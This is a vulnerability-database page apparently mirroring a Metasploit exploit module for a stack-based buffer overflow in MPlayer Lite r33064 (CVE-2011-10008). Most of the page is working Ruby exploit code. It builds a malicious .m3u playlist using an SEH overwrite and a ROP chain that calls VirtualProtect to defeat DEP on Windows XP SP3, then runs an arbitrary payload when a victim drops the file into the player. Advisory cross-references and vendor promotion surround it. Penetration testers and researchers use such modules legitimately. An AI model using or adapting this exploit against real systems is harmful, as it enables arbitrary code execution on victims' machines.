MPlayer Lite M3U Buffer Overflow
🗓️ 19 Mar 2011 00:00:00Reported by C4SS!0 and h1ch4m, Gabor SeljanType
metasploit🔗 www.rapid7.com👁 29 Views
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2011-10008 | 29 May 201815:50 | – | circl | |
| The MPlayer Project MPlayer Lite 安全漏洞 | 31 Jul 202500:00 | – | cnnvd | |
| CVE-2011-10008 | 31 Jul 202514:58 | – | cve | |
| CVE-2011-10008 MPlayer Lite r33064 M3U Stack-Based Buffer Overflow | 31 Jul 202514:58 | – | cvelist | |
| EUVD-2011-5237 | 7 Oct 202500:30 | – | euvd | |
| CVE-2011-10008 | 31 Jul 202515:15 | – | nvd | |
| PT-2025-31529 · Undefined · Undefined | 31 Jul 202500:00 | – | ptsecurity | |
| CVE-2011-10008 | 2 Aug 202520:22 | – | redhatcve | |
| CVE-2011-10008 MPlayer Lite r33064 M3U Stack-Based Buffer Overflow | 31 Jul 202514:58 | – | vulnrichment |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MPlayer Lite M3U Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
MPlayer Lite r33064, caused by improper bounds checking of an URL entry.
By persuading the victim to open a specially-crafted .M3U file, specifically by
drag-and-dropping it to the player, a remote attacker can execute arbitrary
code on the system.
},
'License' => MSF_LICENSE,
'Author' => [
'C4SS!0 and h1ch4m', # Vulnerability discovery and original exploit
'Gabor Seljan', # Metasploit module
],
'References' => [
[ 'CVE', '2011-10008' ],
[ 'BID', '46926' ],
[ 'EDB', '17013' ],
[ 'URL', 'http://www.mplayer-ww.com/eng/' ]
],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' => {
'BadChars' => "\x00\x20\x0d\x0a\x1a\x2c\x2e\x26\x2f\x3a\x3e\x3f\x5c",
'Space' => 5040
},
'Targets' => [
[
'Windows XP SP3 (DEP Bypass) / MPlayer Lite r33064',
{
'Offset' => 21,
'Ret' => 0x649a7bbe # ADD ESP,64C # PPPR [avformat-52.dll]
}
],
],
'Privileged' => false,
'DisclosureDate' => '2011-03-19',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])
],
self.class
)
end
def junk
return rand_text_alpha(4).unpack("V").first
end
def nops
return make_nops(4).unpack("V").first
end
def exploit
# ROP chain generated by mona.py - See corelan.be
rop_gadgets =
[
0x6ad9d85d, # POP EBP # RETN [avcodec-52.dll]
0x10018fc3, # &CALL ESP [unrar.dll]
0x64984a70, # POP EAX # RETN [avformat-52.dll]
0xffffec4f, # Value to negate, will become 0x00005040
0x6b0ce791, # NEG EAX # RETN [avcodec-52.dll]
0x6b063c7d, # PUSH EAX # POP EBX # POP ESI # POP EDI # RETN [avcodec-52.dll]
junk,
junk,
0x1001d154, # POP EAX # RETN [unrar.dll]
0x77e71210, # &VirtualProtect() [IAT RPCRT4.dll]
0x64987f7f, # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-52.dll]
0x6afcdc68, # XCHG EAX,ESI # RETN [avcodec-52.dll]
0x6b02836d, # POP EAX # RETN [avcodec-52.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x6b0ce791, # NEG EAX # RETN [avcodec-52.dll]
0x6af79d80, # XCHG EAX,EDX # RETN [avcodec-52.dll]
0x1001bad6, # POP ECX # RETN [unrar.dll]
0x649eab48, # &Writable location [avformat-52.dll]
0x6d7c0bb7, # POP EDI # RETN [swscale-0.dll]
0x6b03d722, # RETN (ROP NOP) [avcodec-52.dll]
0x64984a70, # POP EAX # RETN [avformat-52.dll]
nops,
0x6d7c57d1 # PUSHAD # RETN [swscale-0.dll]
].flatten.pack('V*')
sploit = rand_text_alpha_upper(target['Offset'])
sploit << rop_gadgets
sploit << payload.encoded
sploit << generate_seh_record(target.ret)
sploit << rand_text_alpha_upper(1000) # Generate exception
# Create the file
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create("http://" + sploit)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Mar 2011 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 48.6
EPSS0.01152
SSVC